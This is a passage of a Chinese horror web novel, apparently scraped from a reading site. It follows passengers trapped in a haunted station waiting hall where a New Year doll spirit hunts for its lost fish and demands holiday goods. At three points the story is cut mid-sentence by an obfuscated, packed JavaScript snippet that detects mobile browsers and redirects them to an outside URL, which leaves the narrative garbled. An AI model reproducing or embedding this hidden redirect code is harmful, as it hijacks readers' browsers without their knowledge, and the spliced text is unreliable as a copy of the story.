哪曾想一直惜字如金的褚翊这时说:“差不多吧。” 奚元:……? 褚翊说话还真是出乎他的意料,他怎么不知道自己已经跟褚翊凑了个差不多的伴儿了? 不过褚翊话都这么说了,他也只得跟着打哈哈:“是,是啊,凑的伴儿,咱俩也算是投缘了。” 此话一出,一直盯着地板的褚翊突然抬头,他扭头看向奚元:“投缘吗?” 奚元差点没一口气噎过去:“不,不投缘么?” 褚翊笑笑:“确实投缘。” 奚元:…… 周格从他的背包里掏出来几包面包,非常大方的给奚元跟褚翊也一人分了一个:“吃点儿垫巴垫巴吧。” 奚元跟褚翊说了声谢谢。 周格嗨了声:“小事儿。嘶,我感觉你俩还挺淡定的,咋的,经历了昨天的事儿你俩就不害怕?” 奚元刚拆开面包包装,闻言抬头苦笑:“谁说我不害怕了。” 褚翊害不害怕他不知道,反正他心里发怵得厉害。 周格眼珠子瞪得老大:“你害怕?”说着又摇摇头,怒了努嘴,“一点儿看不出来。” 奚元挥手笑过,很快转移了话题:“听你们刚才说被吓着,瘆得慌什么的,之前是还发生过什么事吗?” 周格面包吃得正香呢,听奚元说起这话茬,当即脸色不太好:“嗨,也就是你来得晚,不然前天你估计要被吓死。” “啊,这么恐怖啊!” 周格先是摇摇头,一副你别不信的表情,而后又躬下身体,整个人凑到奚元跟前,神神秘秘地指向了旁边墙上的那个巨型福字剪纸:“你看到墙上贴着的福字了吗?” 奚元皱眉:“进来的时候就看到了,怎么了么?” 周格压低声音,像是生怕被什么东西听见似的:“之前是没有的,前天晚上才突然出现。” 奚元不由自主地吸了一口气,他忽然觉得有点儿冷,身上凉飕飕的:“前天晚上……突然出现?怎么个突然法?” “就是前天睡觉前还没有的,第二天醒来就贴在那儿了,没有人知道是谁挂的,整个大厅里的人都互相猜来猜去的,到现在也没找着始作俑者。” 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周格点点头,一脸慌张的嗯了声:“你们想想,一个晚上一条鲜活的人命尸骨无存,却多出来几张妖红的福字,你们觉得那福字的颜料从哪儿来的。” 那阴风又刮了一阵,吹得人汗毛直立。 所以周格的意思是……那福字上染的不是什么颜料,而是…… 所以刚才褚翊才站在那儿看了那么久么,他是不是早就看出些什么了? 奚元把脖子伸进了围巾里,朝墙上的福字看去。 不知是不是心理作用,他看着整个呈暗红色的福字剪纸,怎么看怎么觉得那上面涂的就是血。 奚元忍不住咽了咽口水,继续问:“那那个疯子呢?他又是怎么疯了的?” 这次是张跳跳接过话茬:“那是大前天的事儿了,我们一觉醒来他就变成了这样,估摸着就是晚上看到了什么不该看的东西,至于具体看到什么,我们也不确定,别人问他他也语无伦次地说不出个囫囵话来。” “哼。” 突然有人哼了声。 是褚翊。 褚翊不知道怎么了,表情看起来有些不屑,他说:“是不是真疯还不一定呢。” 三人同时望向他。 奚元:褚翊这话什么意思? 许是感受到了六束灼热的目光,褚翊抬起了无精打采的眼皮,右腿慵懒地搭在左腿上:“我的意思是,他可能只是暂时性的受了刺激,过两天就好了。” 奚元嘟囔了句:“哦,也有可能。” “可能什么可能!” 奚元正微微走着神,突然一声怒吼吓了他一跳。 他一回神,就看到那胖子找了一圈茬跑到了这儿来,正恶狠狠地盯着他。 胖子一双甲亢眼就差没把眼珠子全部瞪出来,嘴巴像裂口一样大,一副没理气也壮的凶狠样。 “妈的我的鱼就是你这贱杂种生的小白脸偷的是吧!”他冲着奚元恶狠狠地骂道。 5. 吉鱼 在所有人都还没来得及反应过来前,胖子一把揪住了奚元的衣领,一整个把他拎了起来。 胖子张着血盆大口,整个人几乎是贴到了奚元脸上。 “老子怎么还忘了你这么个杂种,你挨老子这么近,就是想偷老子鱼是吧,啊!” 他唾沫星子喷了奚元一脸,一股刺鼻的味道直冲奚元天灵盖,奚元差点没熏晕过去,赶紧别头。 这胖子的嘴巴实在太臭了,跟攒了几十年的粪坑一样,一张嘴就是一口沼气,里面什么臭味儿都有,发酵的大酱、腐败的肉味儿、恶心的腥味儿…… 等等。 腥味? 奚元心中猛然闪过什么,还没来得及深究,就见到褚翊突然上前,用胳膊抵住了胖子的喉咙,另一只手将胖子的手腕整个往后一翻,胖子一个吃痛,表情扭曲地一连向后退了好几步。 褚翊难得黑脸,一双漆黑的眼睛死死盯着肥肉横飞的胖子。 “好好说话。”只听他冷冷地说。 胖子龇牙咧嘴的吃痛了好一会儿,等稍微缓过来就朝一边啐了口口水,不服气地走上前,伸出另外一只好手顶在褚翊的脑门:“他妈你谁啊?让你多管闲事了吗?” 褚翊先是眉头一皱,捂了捂鼻子,而后一句话没说,擒住胖子挑衅的手又是往后一翻。 “操啊啊啊啊啊!!!”胖子这次终于忍不住疼出声来。 奚元一看这架势像是要打起来,赶紧拉住褚翊让他坐下,又伸出手挡着胖子往前冲:“你别动!有事儿好商量!你不就是想知道我到底偷没偷你鱼吗?我打开行李给你看看不就知道了。” 说着,就把自己的背包跟行李箱打开了。 一旁的周格跟张跳跳也不想招惹麻烦,见奚元给人开包检查,他们主动也打开了自己的行李。 胖子哪料到事情会朝这么顺利的方向发展,本来还在那儿哇哇乱叫咒爹骂娘的,一下就没了声,他愣了有一会儿,这才想起来翻行李。 他把几个行李箱跟背包翻了个底朝天也不见他的鱼,最终捂着手,悻悻地离开了。 周格跟张跳跳两人松了口气,奚元蹲下身开始收拾行李。 褚翊没有行李倒是落得清闲,坐在那儿看着他们收拾,不过奚元觉得即使褚翊有行李他也不会打开给胖子看的。 “你们没必要打开行李给他检查。”奚元心里刚想着,褚翊果然就说了这话,“打服了他也就不叫唤了。” 奚元心想这话说的,跟黑*she*会似的,文明社会还是讲文明礼貌的好。 他转头冲褚翊笑笑:“出门在外的,多一事不如少一事嘛。” 褚翊就不说话了。 不过奚元心里倒是还有些困惑:“但话说那胖子为了一条鱼这么大费周章,至于吗?” “非常至于!”这次是张跳跳接过了话茬。 奚元倒是没想到是这样的回答,他十分好奇:“怎么说?” 张跳跳行李收拾的差不多了,她把背包松紧带一拉,坐回了座位:“你不经常坐这里的高铁,可能不太清楚,这儿的高铁票不收微信支付宝,也不收现金,只收两样东西。” “一个是压祟钱,再一个就是鱼和豆腐。” 压岁钱…… 奚元手上的动作慢了下来,他想到了被莫名其妙塞进他兜里的那个红包。 “为什么?”他忍不住问。 周格也挺惊讶:“这高铁还有这么奇葩的规定?” 张跳跳点点头,她眼神有意无意地瞟了褚翊一眼,“因为这里的高铁是要带我们去过年的,既然是去过年,就只收吉利的东西,压祟钱是首选,要实在没有那就只能鱼跟豆腐了,鱼豆腐鱼豆腐,字面意思就是余福嘛,少一样就不吉利了,现在那男人没了鱼,他就只能被困在这候车大厅里上不了车,大年三十不离开候车大厅可是要死人的!它能不急么。” 顿了顿,她继续说:“不过很少人会像那胖子一样带生鱼生豆腐,这种属于最便宜的票,高铁全程不舒服不说,票还容易被偷,你看,这不就被偷了么。” 周格一听急了:“你说的这两样我都没有,那我是不是也上不了车了?” 张跳跳诶了声:“你放心,新人免票,这是这高铁站多年以来的优惠政策。” 周格松了口气:“呼,吓我一跳。” 奚元则喃喃:“竟然是这样……” 刚才从胖子嘴里闻到一股腥味,他还猜测会不会是那胖子自己把鱼给吃了在这儿贼喊捉贼,但现在看来这种可能性不大了,毕竟谁会拿自己的命开玩笑呢。 “昨晚到底发生了什么,又究竟是谁要害他?”奚元看着他那碎裂的手机,陷入了沉思。 张跳跳沉吟:“是啊,谁要害他呢?” “不过话说回来。”奚元转头看向张跳跳,突然说,“你了解的还挺多,碰上这种情况很多次了么?” 张跳跳愣了一下,竟是哽住:“呃……” 她还没来得及回答,很久没说话的褚翊突然说:“这是什么?” 他看向了奚元行李箱里面的一个方方正正的小玩意儿。 奚元注意力被转移,顺着褚翊的目光看向自己的行李箱:“哦,这个啊,这是我自己做的一个闹钟机器人,随便弄着玩儿的。” 张跳跳一听,很是惊讶:“你还会做机器人啊,真厉害!” 周格也瞪大了眼睛,走过去围观小机器人:“卧槽!学霸啊!” 褚翊看起来也很感兴趣的样子,他问:“怎么个玩法?” 奚元拿起闹钟机器人,解释道:“喏,这个拨片是设置闹钟时间的,想调到什么时间只需要上下拨动拨片,旁边这个按钮是一句话叫醒开关,你摁下它可以录音,关闭它录音结束,录下的录音就会在闹钟时间响起。不过录音一句话不能超过六个字,挺鸡肋的。而且最近它还有点坏了,我还没来得及修。” 他看了看褚翊,问道:“怎么,你喜欢吗?喜欢我可以送你。” 褚翊眼眸中神色晦暗不明:“不用了,只是随口问问。” “哦,行。” 说着,奚元又把闹钟机器人放了回去,周格说要摸摸他也没给,气得周格还控诉奚元看人下菜碟。 时间一分一秒的过着,候车大厅里除了还在到处找鱼的胖子,以及尿失禁后一直在扫地的疯子,再没发生过任何怪事,今天白天既没有死人,也没有其他乘客再发疯,一切平静地仿佛像是一个再正常不过的候车大厅。 但奚元怎么也放松不下来,他觉得自己就像温水里的青蛙一样,正在一点一点被煮烂。 人血做成的福字、发疯的乘客、被偷了的鱼…… 这些是那“脏东西”随机的玩乐,还是说其中会有什么隐秘的关联? 下午五点,A1检票口那一男一女俩乘务员又出来了。 女乘务员依旧业务熟练地试了一下音,而后开始举着喇叭通知:“今晚到明天下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835548|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八点高铁无班次运行,大家今晚赶紧休息。” 那胖子今天估计是气疯了,竟然指着乘务员鼻子破口大骂起来,还嚷嚷着自己要立马上车。 乘务员仍然顶着她那张万年不变微笑脸,说着:“列车还没来哦,还得再在高铁站休息一晚呢。”说完就走了。 事事都不顺的胖子气得去便利店又买了几十桶泡面,陆陆续续泡了十来盒吃了后,又去找别人麻烦去了,这次他找着了另一个带鱼跟豆腐的人。 他非得说那鱼是他的,跟人打了起来,闹得很凶,他女朋友在一旁柔柔弱弱地劝架也压根儿劝不住,他一把把女人甩飞撞到了不锈钢椅子上。 奚元默默地看了会儿,撤回了目光。 这会儿周格跟张跳跳去吃粉去了,他拿起包,拍了下褚翊:“褚翊,陪我去趟厕所吧。” 褚翊看到奚元背上的包:“你要干什么?” 奚元拉着褚翊就走:“去了你就知道了。” 两人在所有人的焦点都在胖子身上的时候跑去了厕所。 进了厕所,奚元先是每个隔间都看了眼,确保没人后直接进了厕所最后的隔间,还把褚翊拉了进去。 褚翊也不多问,看着奚元从包里翻出来一个类似于小汽车,还有金属块一样的东西,然后拿出一个小螺丝刀把小汽车外壳给拆了,把那金属块给放了进去。 褚翊:“你这是……” 奚元嘴里叼着螺丝刀:“组装录音器。” “要干嘛?” “晚上录音。” 奚元拿掉了嘴里的螺丝刀:“比脏东西更可怕的,是对未知的恐惧。我必须要搞清楚每天晚上到底都在发生些什么,才能让自己不一直处于被动状态,这东西或许会帮助我发现一点蛛丝马迹。” 褚翊挑了挑眉:“学霸都用上高科技了。” 奚元拿着“小汽车”在褚翊面前晃了晃:“这叫用科学打败魔法,也多亏了我平时有带这些小玩意儿的习惯。——帮我托下底,我把外壳卡紧一下。” 褚翊蹲下身,伸手拖住了奚元的“小汽车”,奚元低着头仔细的弄着,柔软的发梢戳到了他的脸上,伴随着奚元起伏的脑袋一遍又一遍地在他脸上刮过。 “你为什么要叫我过来?”他突然问,有些不自然地躲过了奚元的头发。 奚元低着头哦了声:“我一个人有点害怕,叫上你壮壮胆。” 褚翊心有所动:“咱俩也刚见面没两天,你可别太相信我。” 奚元:“褚翊你这话说的,怎么还叫别人不相信自己呢。我看面相就觉得你是个好人,这是一种直觉,直觉这玩意儿不好说怎么来的,但一定很准。” 随着他手里咔嚓一声,一个小汽车形状的录音器就组装完成。 “好了!”他说着,脸上浮现出一丝笑容,看着褚翊把手收了回去。 “你手上红绳挺好看的。”他忍不住夸了一句。 刚才组装的时候他就注意到了,褚翊手伸的直,那红绳直接就从衣服里面滑了出来,衬得褚翊的手腕越发的好看,那红绳上隐隐还能看到一些金线纹路和一些微微发黄的印子,感觉像这绳子之前还串过什么东西似的。 褚翊低头,拉着那红绳看了看:“你说这个么?” 奚元点点头:“是啊。” 褚翊眸色暗淡,眼中闪过一丝迷茫:“忘了是谁送的了。” 似乎是个很重要的人,但仔细回想又什么都记不起来。 6. 找鱼 奚元把录音器放在了没人的椅子下后,就跟着褚翊回了座位。 也不知道今晚的“幸运儿”又会是谁。 祈祷可千万不要是我啊。 所有乘客都这么惴惴不安地想着。 晚上九点,不出意料的所有人又昏睡了过去,候车大厅里再次挂起了红灯笼,一切变得异常安静。 呜呜呜呜呜—— 忽地有小孩的啼哭声传来,打破了诡异的寂静。 嗒嗒嗒嗒—— 一个扎着双辫的小娃娃在候车大厅里不紧不慢的走着,他面部富态圆润,两颊红润,眉心印着一朱砂红点。 他一边哭一边嘴里一直重复着:“你看到我的鱼了吗?” “你看到我的鱼了吗?” “你看到我的鱼了吗?” …… 没有人回应。 “找不到我的鱼了,我找不到我的鱼了,呜呜呜呜。”他哭得更加悲伤了,却也仍不忘一个人一个人的问他的鱼。 直到他站在了一个中年男人面前,他擦了眼泪,又问出了那句:“你看到我的鱼了吗?” 这次,他的问题有了回应。 “没——有。”中年男人张了张嘴,发出沙哑的声音,他眼睛闭着似乎并没有醒过来,但嘴上却是能对答如流。 小娃娃歪了歪头:“那你能跟我一起去找鱼吗?” 中年男人点点头:“可——以。” 说着,他就要起身,奈何他妻子头枕在他的腿上,这让他没起身成功,他木木地坐在那儿想了想,像是真清醒似的。 随即他似乎感觉不到疼痛一般,用两只手把枕着他妻子头的腿硬生生掰断,又扯下一根胳膊放在妻子脸上继续抚摸妻子。 鲜血喷洒了睡梦中的女人一身,男人却恍若未闻,跟着小娃娃一起走了。 小娃娃看起来很高兴,他的眼睛放着光:“太好啦,多一个人多一份力量,我很快就能找到我的鱼啦,不过除了找鱼,你可能还需要帮另外一个忙……咦这是什么?” 他声音忽然变得迟疑,歪着头,看着不远处奚元的录音器。 下一秒,只听咔嚓一声,录音器被踩了个稀碎。 “年年有鱼,年年有余,客人上门,你做鱼头,他做鱼鳍……”小娃娃哼着乱七八糟的小调走过被踩烂的录音器,领着中年男人进了便利店。 十分钟后。 “啊啊啊啊啊啊啊啊!!!” 便利店里传来凄厉的惨叫,但在这寂静的夜里,却是没能叫醒一位沉睡的乘客。 翌日九点,奚元再次从睡梦中醒来时,发现脚边都多出来三个购物篮子,三个篮子三个颜色,分别是绿色、红色、黄色。 不止是他,所有人脚边都多出这东西,醒得早的已经拿起篮子反复看了,却也没看出什么端倪来。 “什么鬼?”刚醒的周格眼睛一睁就看到这玩意儿,忍不住踢了一脚,“这什么意思?睡一觉送红绿灯?” “我劝你最好是别瞎踢。”张跳跳把周格的篮子重新捡了回来,“今天它能送你篮子,明天也能送你上西天。” 周格立马吓得不敢再动,他埋怨地看着张跳跳:“能,能别吓唬人么。” “还用得着我吓唬你吗?”张跳跳说,“我只是实话实说,突然多出来这些篮子,多半不是什么好事,事情不明朗之前,我劝你还是小心谨慎点好。” “可我就踢了一下……” “鱼被钓上来之前也不会知道它随便咬的钩子会要了自己的命。” …… 周格张跳跳两人你一言我一语的说着的时候,奚元从椅子上站了起来,他想起了昨晚放在椅子底下的录音器,也不知道昨晚的动静录到了多少。 他四处找了一会儿,在大厅后面倒数第三排边的过道上看到了被踩扁的录音器。 他走过去,捡了起来,拆了机身,把里面芯片一样的小零件拿出来,又从兜里掏出一个大概拇指长的设备,把拿出的零件重新放进了新设备里。 做完这些,他便打算回去跟褚翊他们一起听听录音,却在这时,最后一排座位上传来一个女人的惨叫。 “啊啊啊啊啊啊啊!!!” 奚元被叫声吓得手一哆嗦,他把新的录音器揣回口袋,站起来就要看发生了什么。 这一看,他三魂六魄差点没全飞了。 就见原本不起眼的最后排此时鲜血飞溅,冰冷的不锈钢座椅粘黏着早已冰冷的血迹,椅子上,一个齐刘海齐肩短发的女人满身鲜血淋漓,她手里拿着一截胳膊和大腿,神智失常般疯狂尖叫。 “我的天……”奚元整个人都不好了,一阵头晕目眩后只感觉身体不稳,不受控制地朝后倒去。 这下丢人要丢大发了。 他心里如此悲壮地想。 但想象中的四脚朝地并没有出现,他掉进了一个温暖的怀里,有人从后面托住了他。 “你还好吧?”身后熟悉的声音响起,温和的语调依旧让人觉得异常舒服。 奚元仰头看去,是褚翊。 凑近看褚翊长得更帅了。 就这么一会儿功夫,奚元脑中竟是不合时宜的冒出了这么一句。 褚翊把他扶正了,像是再做确认一般又重复问了句:“你还好吧?” 奚元这才回过神来:“啊,哦,哦还行,哈哈还行。” 他一时有些尴尬,毕竟被吓到差点昏倒的情景被人撞见本就挺丢脸了,刚才还因为别人长得帅走神,更是丢尽脸中脸,为缓解尴尬,他只能干巴巴地打着哈哈。 好在褚翊并没多说什么,只是说了句:“我过去看看。”便朝着那满身鲜血的女人走去了。 奚元松了口气,也跟了过去。 在从倒数第三排横穿过去的时候,他经过了一直在大厅里玩手机的蓝发女人,这会儿这女人正在化妆,看到奚元过来她还特意缩了缩腿给奚元让路。满身是血的女人就在她身后不远处,她却丝毫没有回头,漠然得仿佛一个没有感情的机器。 带血的齐刘海女人身边渐渐围满了人,齐刘海仿佛这才反应过来,尖叫着把手里的腿跟胳膊扔在了地上,她整个人蜷缩在椅子上,满眼透露着惊恐与警惕。 “我老公的腿跟手,那是我老公的,就剩下腿跟手了……” “为什么还是盯上了我们,为什么,为什么……” “我们明明躲到了最后面,只用躲过最后这几天就好了的……” 齐刘海女人语无伦次地喃喃着,看来是真被吓得不轻。 人群里一阵唏嘘,有同情女人的,有庆幸自己又侥幸躲过一劫的,还有幸灾乐祸在一旁阴阳怪气的,什么样的人都有。 跑过来看热闹的周格人还算不错,他帮着齐刘海女人把她丈夫的腿跟胳膊捡了起来,扔到了传送机附近,传送机上原本的那具尸体上不知道哪个好心人又给多盖了几层衣服,完全盖住了那可怖的尸体,但尸体正在腐败,再厚的衣服也盖不住它泛起的阵阵恶臭味。 扔了胳膊和手的周格捂着鼻子,逃也似地离开了。 围着齐刘海女人的人群看了一会儿热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835549|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后很快就散去,毕竟这候车大厅每天晚上都在发生怪事,热闹看的多了,便也不觉得有多新鲜。 褚翊正半蹲在地上闻着血味儿,奚元则是看着女人,没说话。 奚元其实是想说点什么的,比如一些安慰人的话,但话到嘴边又觉得自己那些没什么重量的安慰反倒是往人心尖上扎,便又吞了回去。 他想起昨晚录的音,说不定录到了她丈夫的声音,或许她会想要听听。 不过他犹豫了几下,最终还是没给出去,哀叹了一声,转身和张跳跳一起回到了座位上。 褚翊不知道干嘛去了,明明刚才还在闻着血的,这会儿就不见了踪影。 扔完断腿断胳膊的周格倒是很快就回来了,他一坐在位子上就开始吐槽传送机那里的尸臭味有多令人作呕,还说什么看到好几条蛆从衣服里爬了出来,把奚元跟张跳跳恶心的不行。 张跳跳捂着鼻子,伸手打断:“你别说了,感觉现在你身上都是臭的。” 周格闻了闻自己,没忍住哕出了声。 褚翊这个时候回来了。 “你干什么去了。”等褚翊坐到位子上的时候,奚元问。 褚翊从身后拿出瓶矿泉水:“渴了,去便利店买了瓶水。” 不等奚元再说什么,褚翊转移了话题:“你昨天录的音呢?” 奚元当即哦了声,把兜里的录音器给拿了出来:“在这儿呢。” 褚翊看着奚元手里新的录音器:“昨天还不长这样。” 奚元解释道:“昨天的被踩坏了,我把内容同步到这里面来了,好在还有一个备用的。” 周格跟张跳跳两人都听懵了。 周格:“录音?奚元你还会搞这玩意儿?牛逼啊!” 奚元不好意思地笑了笑:“一起听听吧,说不定能听出点儿什么来。” 随即,他按下了录音器的播放键,一阵沙沙的响声从录音器里传来。 奚元四人凑的近了些,神色都颇为严肃。 录音器里很快传来小孩儿啼哭的声音,哭声很远,飘忽不清,随后,一阵滋滋滋的嘈杂声传来。 “还真录上了。”张跳跳一边惊讶一边问道“这嗞嗞声是什么声音?” 奚元指了指那被踩扁的小车录音器:“是它在动,它在做声音追踪。” 果然一会儿后,婴儿的声音变得很清晰,它跟那男人的对话也异常清楚地播了出来。 “你看到我的鱼了吗?” “没——有。” “你能跟我一起去找鱼吗?” “可——以。” 周格听着听着,嘶了声:“感觉这男的没有一点反抗啊。” 张跳跳白了他一眼:“到了晚上人都不清醒,你以为这儿怎么这么容易死人呢。” 周格顿时意识到自己这话问的蠢了,当即不好意思地笑笑:“也——” 一个是字还没说出口,候车大厅的喇叭里突然突兀地传来一个尖细的孩子音。 【哈呜。】孩子音打了个哈欠。 原本还窃窃私语的候车大厅仿佛施了咒一眼瞬间鸦雀无声,白炽的灯光打在候车大厅里,泛起一阵凉意。 喇叭在短暂的停顿后,再次响起。 【唔……怎么感觉这次过年不太顺利呢,不光鱼不见了,年货也还差很多没有准备好,虽说大鱼大肉是有了,但怎么能够招待客人的呢?过年没有足够的年货可是万万不行的。】 【各位善良的乘客,请前往便利店,在夜晚来临前帮我挑选出一些我喜欢的年货叭~】 7. 年货 奚元的录音器没关,一直播着,等候车大厅喇叭里那小孩儿的声音停下的时候,录音器里正播到:“很快就能找到我的鱼啦,不过除了找鱼,你可能还需要帮另外一个忙……咦这是什么?” 随即咔嚓一声,录音器被踩碎,再没发出声音。 候车大厅里十分安静,录音器发出的声音显得尤为突兀,有不少人朝他们这边投来打量的眼神。 奚元却根本无法顾及他们,他只觉背后冒起了一身冷汗,声音都不由得沉了下去:“你们觉不觉得刚才喇叭里的声音……跟录音器里的很像。” 周格深吸了一口气,捏紧了拳头:“他妈的一模一样。” 张跳跳眉头紧缩:“他说他的鱼不见了,要那男的帮忙找鱼……又是跟鱼有关。” 她忍不住看向了那个昨晚丢了鱼的胖子:“这事儿跟那胖子有什么关联?” 奚元摩挲着手里的录音器,陷入沉思。 从声音上来看,昨晚丢鱼的跟胖子绝非一个人,但为什么两个人都丢了鱼呢?这两条鱼到底作用在哪里? 突然的,刚才喇叭里的一句话在他脑中一闪而过。 他记得那小孩儿有说:“……大鱼大肉是有了,但怎么能够招待客人的呢?” 大鱼大肉…… 所以那些莫名其妙没了的鱼,还有消失的乘客们,是不是都成了…… “那小娃娃还说让那男的帮忙别的事。” 张跳跳的一句疑惑让奚元从瘆人的思绪里拉回现实,奚元下意识地捏紧了拳头,却发现掌心里已经起了一层薄汗。 张跳跳:“别的事情,会是什么?也是给它备年货吗?” 奚元把手往裤腿上擦了擦,神色镇定了些,他扭头看向身边的篮子,又想起自己的猜测,摇摇头道:“如果是备年货,人就不会消失了,而是应该像我们一样,拿着篮子坐在这儿。” 褚翊此时幽幽开口:“成为年货了也说不定呢。” 奚元呼吸一窒。 成为年货…… 还真跟他的猜测如出一辙啊。 张跳跳周格两人倒吸了一口凉气,褚翊这猜测……实在是让人害怕。 “所以这些莫名出现的篮子……”周格不确定地发问。 奚元:“很明显,是让我们用来装年货的。” 顿了顿,奚元像是忽然想起什么,他扭头看向斜对面的胖子:“不过话说回来,今天的胖子是不是太安静了点。” 明明昨天他为了他的鱼闹翻了整个候车大厅,但今天醒来到现在,却没听见他的任何动静,只看到他依旧像个饿死鬼一样,只知道大口大口地吞着泡面,他的女朋友还笑着看着他,宠溺地说着再给他买点吃的回来。 褚翊此时淡淡道:“先别想这个了,咱们还是先解决眼下的问题吧。” 他指了指远处的便利店,那儿已经人满为患:“你们看,有人已经进便利店拿东西了。” 三人这才收回思绪。 周格提溜起了自己的三个篮子:“现在每个人手上有三个篮子,我们该拿哪个?” 褚翊想也没想便说:“当然是拿它喜欢的。” 周格:“什么?” 褚翊抬了抬眼皮:“你没听到吗?广播里那小孩儿让我们挑选他喜欢的年货,既然年货是要他喜欢的,那这篮子必定也要选他喜欢的。” 周格肯定地点点头:“有道理,但话又说回来,那小孩儿喜欢什么咱们也不知道啊!” “何止是不知道他喜欢什么。”张跳跳脸色不太好,“我们连那小孩儿是谁都不知道。要知道,从我进来到现在,候车大厅里可没出现过一个小孩儿。” 找不到小孩儿,他们又该怎么知道它喜欢的东西是什么。 褚翊神色未变,竟是不慌不忙地说:“谁说没有小孩儿。” 仿佛心有灵犀一般,奚元此刻也想到什么,眼前一亮:“你是说那个小卖部里,年画里的年娃娃!” 那年娃娃不仅孩子长相,手上原本该抱着的鱼确实也没了,改成了钟,一个丢了鱼的孩子,没有比那年娃娃更符合的了。 褚翊转头冲他笑笑:“聪明。” 奚元被夸得一愣,当即摆摆手:“都是瞎猜的。” 周格听完却是有些怀疑:“那画里的东西还能说话?” 张跳跳倒是松了口气,她有些无奈地冲周格摇摇头:“别天真了,在这地方,还有什么不可能的。” 奚元叹了口气:“唉,总而言之,我们先去便利店看看吧。” 四人向便利店走去。 便利店里里外外围满了人,有在里面瞎拿每个篮子里都放点儿的,也有在外面犹犹豫豫不知道该拿什么的,那年娃娃说要在今晚前拿到他喜欢的年货,估计这会儿大伙儿都把自己的命拴在了便利店的货架上。 但也有没有过来凑热闹的,比如那个疯子,奚元四处乱看的时候,就看到那疯子待在墙角边,还在拿着扫把扫着地,别人都在慌慌张张的找年货呢,只有他两耳不闻窗外事,不把自己的小命放在心上,看来是真疯得不轻。 奚元这么想着,褚翊在旁边拉他进去,他也就收了视线,跟着褚翊进去了。 便利店里简直乱了套,一群人挑着挑着就开始抢了起来,那货架上那么多东西,也不知道抢的个什么劲,最惨的要数便利店的老板娘,这么多人拿了东西不给钱,都快给她急哭了,站在那儿一直喊着:“哎呀,你们不能白拿呀,给钱,都要给钱!” 大伙儿哪听得进这些,为了保命他们都已经抢疯了! 老板娘急得从收银台里的椅子上站了起来,她站起来很高,大概有一米七五左右,一身红色棉服套装从上到下把自己包裹得严严实实,手上还带了棉手套,因为生气,她脸上厚重的妆一直拧巴着,唰唰掉粉,好在她长了一双好看的狐狸眼,倒是硬生生撑住了她那刷白又奇异的妆容。 她面前也摆了三个篮子,但到现在篮子里都还是空的,估计刚忙着叫别人给钱没来得及拿东西,现在人这么多是挤也挤不进去了。 奚元看着老板娘,同情地叹了口气,随即被褚翊拽着挤进了人群里。 四人在后面墙上的巨幅年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835550|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画前停下,便利店里的人到处乱窜,只有他们站在年画前不为所动。 年画上画的就是一般人家里挂着的样式,前景是一个特写的,扎着两个丸子头的年娃娃,他穿了一件红肚兜,手上抱着的却是一个小型的古式摆钟。红肚兜年娃娃的斜后方还有一群小孩儿在池塘边上围着荷花嬉笑玩闹的远景,那群小孩儿也跟那年娃娃一样不是单髻就是双丸子头,不一样的是他们都围的是黑色肚兜。 几人盯着年画看了好一会儿,谁都没有说话。 终于,五分钟后,周格忍不住了:“所以我们在看什么?” 张跳跳冲他翻了个白眼。 褚翊看着红肚兜的眼睛,定定道:“看它喜欢什么。” 周格扭头看褚翊,求知若渴:“喜欢什么?” 回答他的却是奚元。 就见奚元转过身,朝门口方向指去:“它喜欢那儿。” 奚元的声音并不大,但便利店里所有人在那一瞬间都停了下来,表面上他们争着抢着拿年货,实际上在奚元四人进便利店开始,他们就关注到了四人,毕竟这四人不争不抢,却是对一幅年画感兴趣,实在是古怪。 所以当四人开始说话时,周围的目光全都汇集了过来,眼里闪烁着或怀疑、或打量、或期冀的精光。 顺着奚元所指的方向,他们齐齐看去。 那是一个挂在便利店门口正中央的红色小镜子。 那镜子所有进店的人都看见了,只不过那红色的塑料外壳普通的不能再普通,所有人都没有对它多看几眼。 奚元本也没怎么注意到那面镜子,直到刚才他透过红肚兜年娃娃的眼睛看到它,他才打量起它来:“你们说,那红肚兜能一直盯着镜子看,是不是就说明这镜子,或者镜子里看到的东西它很喜欢?” 同时,他还后知后觉的想起一个疑问:“还有,为什么这镜子会被挂在大门正中央?” 奚元说的话店里的其他人明显听的云里雾里,个个表情都明晃晃写着听不懂三个大字。 有人问:“你们在说什么啊?” 好心的周格再次站了出来,从喇叭里的声音是谁,到这年画的古怪事无巨细地给众人解释了一通,众人听完纷纷了然地点点头。 “还真是,这儿能发出娃娃音的,除了这个年娃娃找不出第二个了。” 所有人年货也不找了,都停下手头的事儿等着奚元四人说道。 